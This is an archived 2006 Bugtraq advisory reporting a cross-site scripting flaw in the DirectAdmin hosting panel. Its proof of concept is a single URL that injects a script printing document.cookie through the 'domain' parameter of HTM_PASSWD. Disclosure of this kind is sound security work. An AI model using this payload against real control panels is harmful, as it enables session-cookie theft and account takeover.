Home page logo
/

bugtraq logo Bugtraq mailing list archives

XSS Attack On DirectAdmin Hosting Managment
From: outlaw () aria-security net
Date: 27 Apr 2006 04:29:05 -0000

#'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
#Aria-Security.net Advisory
#Discovered  by: O.U.T.L.A.W
#Outlaw () aria-security net
#Gr33t to:A.u.r.a  & R () 1D3N & Cl0wn & Dtrap 
#''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
? Software: DirectAdmin
? Support Website: http://www.Directadmin.com
? advisory:http://www.aria-security.net/advisory/hm/directadmin.txt
? Summary: DirectAdmin Is A Hosting Managment System
? Tested On: http://www.directadmin.com/demo.html 
 
? Proof of Concept:
LOCAL XSS attack:
http://www.directadmin.com:2222/HTM_PASSWD?domain=";.><script>alert(document.cookie)</script><!--

 
?Solution:
?contact advisory () aria-security net


  By Date           By Thread  

Current thread:
  • XSS Attack On DirectAdmin Hosting Managment outlaw (Apr 30)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]